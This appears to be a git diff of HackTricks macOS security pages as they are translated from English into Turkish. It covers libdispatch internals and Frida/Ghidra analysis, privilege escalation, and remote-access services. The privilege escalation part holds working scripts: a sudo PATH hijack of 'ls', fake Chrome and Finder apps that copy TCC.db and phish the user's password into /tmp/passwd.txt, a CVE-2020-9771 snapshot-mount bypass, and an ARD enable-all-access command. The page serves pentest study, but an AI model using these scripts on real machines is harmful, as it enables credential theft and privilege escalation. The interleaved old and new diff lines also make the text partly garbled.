- `pthread_root_queue`: Bir pthread iş parçacığı havuzuna sahip bir kuyruk ve iş kuyrukları değil
|
||||
- `queue`
|
||||
- `semaphore`
|
||||
- `source`: Event source
|
||||
- `source`: Olay kaynağı
|
||||
|
||||
## Objective-C
|
||||
|
||||
In Objetive-C there are different functions to send a block to be executed in parallel:
|
||||
Objective-C'de bir bloğu paralel olarak yürütmek için gönderme işlevleri vardır:
|
||||
|
||||
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
|
||||
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
|
||||
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
|
||||
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
|
||||
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Bir dağıtım kuyruğunda asenkron yürütme için bir blok gönderir ve hemen döner.
|
||||
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Yürütme için bir blok nesnesi gönderir ve o blok yürütmeyi bitirdikten sonra döner.
|
||||
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Bir blok nesnesini yalnızca bir kez uygulamanın ömrü boyunca yürütür.
|
||||
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Yürütme için bir iş öğesi gönderir ve yalnızca yürütmeyi bitirdikten sonra döner. [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) ile karşılaştırıldığında, bu işlev blok yürütüldüğünde kuyruk özelliklerinin tümüne saygı gösterir.
|
||||
|
||||
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
|
||||
|
||||
This is the **struct of a Block**:
|
||||
Bu işlevler şu parametreleri bekler: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
|
||||
|
||||
Bu, bir Blok'un **yapısıdır**:
|
||||
```c
|
||||
struct Block {
|
||||
void *isa; // NSConcreteStackBlock,...
|
||||
int flags;
|
||||
int reserved;
|
||||
void *invoke;
|
||||
struct BlockDescriptor *descriptor;
|
||||
// captured variables go here
|
||||
void *isa; // NSConcreteStackBlock,...
|
||||
int flags;
|
||||
int reserved;
|
||||
void *invoke;
|
||||
struct BlockDescriptor *descriptor;
|
||||
// captured variables go here
|
||||
};
|
||||
```
|
||||
|
||||
And this is an example to use **parallelism** with **`dispatch_async`**:
|
||||
|
||||
Ve bu, **`dispatch_async`** ile **paralellik** kullanmanın bir örneğidir:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
// Define a block
|
||||
void (^backgroundTask)(void) = ^{
|
||||
// Code to be executed in the background
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Background task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
// Code to be executed in the background
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Background task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
};
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Create a dispatch queue
|
||||
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
|
||||
@autoreleasepool {
|
||||
// Create a dispatch queue
|
||||
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
|
||||
|
||||
// Submit the block to the queue for asynchronous execution
|
||||
dispatch_async(backgroundQueue, backgroundTask);
|
||||
// Submit the block to the queue for asynchronous execution
|
||||
dispatch_async(backgroundQueue, backgroundTask);
|
||||
|
||||
// Continue with other work on the main queue or thread
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Main task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
// Continue with other work on the main queue or thread
|
||||
for (int i = 0; i < 10; i++) {
|
||||
NSLog(@"Main task %d", i);
|
||||
sleep(1); // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## Swift
|
||||
|
||||
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
|
||||
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
|
||||
**`libswiftDispatch`**, Grand Central Dispatch (GCD) çerçevesine **Swift bağlamaları** sağlayan bir kütüphanedir ve başlangıçta C dilinde yazılmıştır.\
|
||||
**`libswiftDispatch`** kütüphanesi, C GCD API'lerini daha Swift dostu bir arayüzde sararak, Swift geliştiricilerinin GCD ile çalışmasını daha kolay ve sezgisel hale getirir.
|
||||
|
||||
- **`DispatchQueue.global().sync{ ... }`**
|
||||
- **`DispatchQueue.global().async{ ... }`**
|
||||
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
|
||||
- **`async await`**
|
||||
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
|
||||
|
||||
**Code example**:
|
||||
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
|
||||
|
||||
**Kod örneği**:
|
||||
```swift
|
||||
import Foundation
|
||||
|
||||
// Define a closure (the Swift equivalent of a block)
|
||||
let backgroundTask: () -> Void = {
|
||||
for i in 0..<10 {
|
||||
print("Background task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
for i in 0..<10 {
|
||||
print("Background task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
|
||||
// Entry point
|
||||
autoreleasepool {
|
||||
// Create a dispatch queue
|
||||
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
|
||||
// Create a dispatch queue
|
||||
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
|
||||
|
||||
// Submit the closure to the queue for asynchronous execution
|
||||
backgroundQueue.async(execute: backgroundTask)
|
||||
// Submit the closure to the queue for asynchronous execution
|
||||
backgroundQueue.async(execute: backgroundTask)
|
||||
|
||||
// Continue with other work on the main queue
|
||||
for i in 0..<10 {
|
||||
print("Main task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
// Continue with other work on the main queue
|
||||
for i in 0..<10 {
|
||||
print("Main task \(i)")
|
||||
sleep(1) // Simulate a long-running task
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Frida
|
||||
|
||||
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
|
||||
|
||||
Aşağıdaki Frida script'i **birçok `dispatch`** fonksiyonuna hook yapmak ve kuyruk adını, geri izlemeyi ve bloğu çıkarmak için kullanılabilir: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
|
||||
```bash
|
||||
frida -U <prog_name> -l libdispatch.js
|
||||
|
||||
@ -190,12 +183,11 @@ Backtrace:
|
||||
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
|
||||
[...]
|
||||
```
|
||||
|
||||
## Ghidra
|
||||
|
||||
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
|
||||
Şu anda Ghidra, ne ObjectiveC **`dispatch_block_t`** yapısını ne de **`swift_dispatch_block`** yapısını anlamıyor.
|
||||
|
||||
So if you want it to understand them, you could just **declare them**:
|
||||
Eğer bunları anlamasını istiyorsanız, sadece **tanımlayabilirsiniz**:
|
||||
|
||||
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
|
||||
|
||||
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Then, find a place in the code where they are **used**:
|
||||
Sonra, kodda bunların **kullanıldığı** bir yer bulun:
|
||||
|
||||
> [!TIP]
|
||||
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
|
||||
> "block" terimine yapılan tüm referansları not edin, böylece yapının nasıl kullanıldığını anlayabilirsiniz.
|
||||
|
||||
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
|
||||
Değişkene sağ tıklayın -> Değişkeni Yeniden Yazın ve bu durumda **`swift_dispatch_block`**'ı seçin:
|
||||
|
||||
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Ghidra will automatically rewrite everything:
|
||||
Ghidra her şeyi otomatik olarak yeniden yazacaktır:
|
||||
|
||||
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# macOS Privilege Escalation
|
||||
# macOS Yetki Yükseltme
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TCC Privilege Escalation
|
||||
## TCC Yetki Yükseltme
|
||||
|
||||
If you came here looking for TCC privilege escalation go to:
|
||||
Eğer buraya TCC yetki yükseltme için geldiyseniz, şu adrese gidin:
|
||||
|
||||
{{#ref}}
|
||||
macos-security-protections/macos-tcc/
|
||||
@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/
|
||||
|
||||
## Linux Privesc
|
||||
|
||||
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
|
||||
Lütfen **yetki yükseltme ile ilgili çoğu numaranın Linux/Unix'i etkilediği gibi MacOS** makinelerini de etkileyeceğini unutmayın. Bu yüzden bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## User Interaction
|
||||
## Kullanıcı Etkileşimi
|
||||
|
||||
### Sudo Hijacking
|
||||
### Sudo Ele Geçirme
|
||||
|
||||
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
|
||||
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
|
||||
Orijinal [Sudo Ele Geçirme tekniğini Linux Yetki Yükseltme yazısında bulabilirsiniz](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
|
||||
Ancak, macOS **kullanıcının** **`PATH`**'ini **`sudo`** komutunu çalıştırdığında **korur**. Bu da, bu saldırıyı gerçekleştirmenin başka bir yolunun, mağdurun **sudo çalıştırırken** hala çalıştıracağı **diğer ikili dosyaları ele geçirmek** olacağı anlamına gelir:
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
#!/bin/bash
|
||||
if [ "\$(id -u)" -eq 0 ]; then
|
||||
whoami > /tmp/privesc
|
||||
whoami > /tmp/privesc
|
||||
fi
|
||||
/bin/ls "\$@"
|
||||
EOF
|
||||
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
|
||||
# victim
|
||||
sudo ls
|
||||
```
|
||||
Not edin ki terminal kullanan bir kullanıcının **Homebrew yüklü olma olasılığı yüksektir**. Bu nedenle **`/opt/homebrew/bin`** içindeki ikili dosyaları ele geçirmek mümkündür.
|
||||
|
||||
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
|
||||
### Dock Taklidi
|
||||
|
||||
### Dock Impersonation
|
||||
|
||||
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
|
||||
Bazı **sosyal mühendislik** yöntemleri kullanarak **örneğin Google Chrome'u taklit edebilirsiniz** ve aslında kendi scriptinizi çalıştırabilirsiniz:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Chrome Impersonation"}}
|
||||
Some suggestions:
|
||||
|
||||
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. 
|
||||
Bazı öneriler:
|
||||
|
||||
- Dock'ta bir Chrome olup olmadığını kontrol edin, eğer varsa o girişi **kaldırın** ve Dock dizisinde **aynı konuma** **sahte** **Chrome girişini ekleyin**. 
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
|
||||
"sleep 2; "
|
||||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||||
system(cmd);
|
||||
return 0;
|
||||
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
|
||||
"sleep 2; "
|
||||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||||
system(cmd);
|
||||
return 0;
|
||||
}
|
||||
EOF
|
||||
|
||||
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>Google Chrome</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.google.Chrome</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>Google Chrome</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string>app</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>Google Chrome</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.google.Chrome</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>Google Chrome</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string>app</string>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
||||
sleep 0.1
|
||||
killall Dock
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Finder Impersonation"}}
|
||||
Some suggestions:
|
||||
|
||||
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
|
||||
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
|
||||
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
|
||||
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
|
||||
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
|
||||
Bazı öneriler:
|
||||
|
||||
- Dock'tan Finder'ı **kaldıramazsınız**, bu yüzden eğer Dock'a ekleyecekseniz, sahte Finder'ı gerçek Finder'ın hemen yanına koyabilirsiniz. Bunun için **sahte Finder girişini Dock dizisinin başına eklemeniz** gerekiyor.
|
||||
- Diğer bir seçenek, Dock'a yerleştirmemek ve sadece açmaktır; "Finder, Finder'ı kontrol etmek için izin istiyor" o kadar da garip değil.
|
||||
- Şifreyi korkunç bir kutu ile sormadan **root'a yükselmek** için başka bir seçenek, Finder'ın gerçekten bir ayrıcalıklı işlem gerçekleştirmek için şifre sormasını sağlamaktır:
|
||||
- Finder'dan **`/etc/pam.d`** dizinine yeni bir **`sudo`** dosyası kopyalamasını isteyin (Şifre isteyen istem, "Finder sudo'yu kopyalamak istiyor" diye belirtecektir)
|
||||
- Finder'dan yeni bir **Authorization Plugin** kopyalamasını isteyin (Dosya adını kontrol edebilirsiniz, böylece şifre isteyen istem "Finder Finder.bundle'ı kopyalamak istiyor" diye belirtecektir)
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
char *cmd = "open /System/Library/CoreServices/Finder.app & "
|
||||
"sleep 2; "
|
||||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||||
system(cmd);
|
||||
return 0;
|
||||
char *cmd = "open /System/Library/CoreServices/Finder.app & "
|
||||
"sleep 2; "
|
||||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||||
system(cmd);
|
||||
return 0;
|
||||
}
|
||||
EOF
|
||||
|
||||
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>Finder</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.apple.finder</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>Finder</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string>app</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>Finder</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.apple.finder</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>Finder</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string>app</string>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
||||
sleep 0.1
|
||||
killall Dock
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## TCC - Root Privilege Escalation
|
||||
## TCC - Root Yetki Yükseltme
|
||||
|
||||
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
|
||||
|
||||
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
|
||||
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
|
||||
### CVE-2020-9771 - mount_apfs TCC atlatma ve yetki yükseltme
|
||||
|
||||
**Herhangi bir kullanıcı** (hatta yetkisiz olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve bu anlık görüntünün **TÜM dosyalarına** erişebilir.\
|
||||
Gerekli olan **tek yetki**, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olmasıdır (`kTCCServiceSystemPolicyAllfiles`), bu da bir yönetici tarafından verilmelidir.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
@ -233,12 +226,11 @@ mkdir /tmp/snap
|
||||
# Access it
|
||||
ls /tmp/snap/Users/admin_user # This will work
|
||||
```
|
||||
Daha ayrıntılı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
|
||||
|
||||
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
|
||||
## Hassas Bilgiler
|
||||
|
||||
## Sensitive Information
|
||||
|
||||
This can be useful to escalate privileges:
|
||||
Bu, ayrıcalıkları artırmak için faydalı olabilir:
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/macos-sensitive-locations.md
|
||||
|
||||
@ -1,19 +1,18 @@
|
||||
# macOS Network Services & Protocols
|
||||
# macOS Ağ Hizmetleri ve Protokoller
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Remote Access Services
|
||||
## Uzaktan Erişim Hizmetleri
|
||||
|
||||
These are the common macOS services to access them remotely.\
|
||||
You can enable/disable these services in `System Settings` --> `Sharing`
|
||||
Bunlar, uzaktan erişim için yaygın macOS hizmetleridir.\
|
||||
Bu hizmetleri `Sistem Ayarları` --> `Paylaşım` bölümünden etkinleştirebilir/devre dışı bırakabilirsiniz.
|
||||
|
||||
- **VNC**, known as “Screen Sharing” (tcp:5900)
|
||||
- **SSH**, called “Remote Login” (tcp:22)
|
||||
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
|
||||
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
|
||||
|
||||
Check if any is enabled running:
|
||||
- **VNC**, “Ekran Paylaşımı” olarak bilinir (tcp:5900)
|
||||
- **SSH**, “Uzaktan Giriş” olarak adlandırılır (tcp:22)
|
||||
- **Apple Remote Desktop** (ARD), veya “Uzaktan Yönetim” (tcp:3283, tcp:5900)
|
||||
- **AppleEvent**, “Uzaktan Apple Olayı” olarak bilinir (tcp:3031)
|
||||
|
||||
Herhangi birinin etkin olup olmadığını kontrol etmek için:
|
||||
```bash
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
||||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||
```
|
||||
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
|
||||
Apple Remote Desktop (ARD), macOS için özel olarak tasarlanmış, ek özellikler sunan [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 'nin geliştirilmiş bir versiyonudur. ARD'deki dikkat çekici bir zafiyet, kontrol ekranı şifresi için kullanılan kimlik doğrulama yöntemidir; bu yöntem yalnızca şifrenin ilk 8 karakterini kullanır, bu da onu [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) gibi Hydra veya [GoRedShell](https://github.com/ahhh/GoRedShell/) gibi araçlarla saldırılara karşı savunmasız hale getirir, çünkü varsayılan hız sınırlamaları yoktur.
|
||||
|
||||
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
|
||||
|
||||
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
|
||||
Zayıf noktaları olan örnekler, **nmap**'in `vnc-info` betiği kullanılarak tespit edilebilir. `VNC Authentication (2)`'yi destekleyen hizmetler, 8 karakterli şifre kısaltması nedeniyle brute force saldırılarına özellikle açıktır.
|
||||
|
||||
ARD'yi ayrıcalık yükseltme, GUI erişimi veya kullanıcı izleme gibi çeşitli yönetim görevleri için etkinleştirmek için aşağıdaki komutu kullanın:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Unix komutlarını doğrudan göndermeye ve bunları yönetici kullanıcılar için root olarak çalıştırmaya olanak tanır. Görev zamanlama ve Uzaktan Spotlight arama, birden fazla makine arasında hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir.
|
||||
|
||||
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
|
||||
## Bonjour Protokolü
|
||||
|
||||
## Bonjour Protocol
|
||||
Apple tarafından tasarlanan Bonjour, **aynı ağdaki cihazların birbirlerinin sunduğu hizmetleri tespit etmesine olanak tanır**. Rendezvous, **Zero Configuration** veya Zeroconf olarak da bilinen bu teknoloji, bir cihazın TCP/IP ağına katılmasını, **otomatik olarak bir IP adresi seçmesini** ve hizmetlerini diğer ağ cihazlarına yayınlamasını sağlar.
|
||||
|
||||
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
|
||||
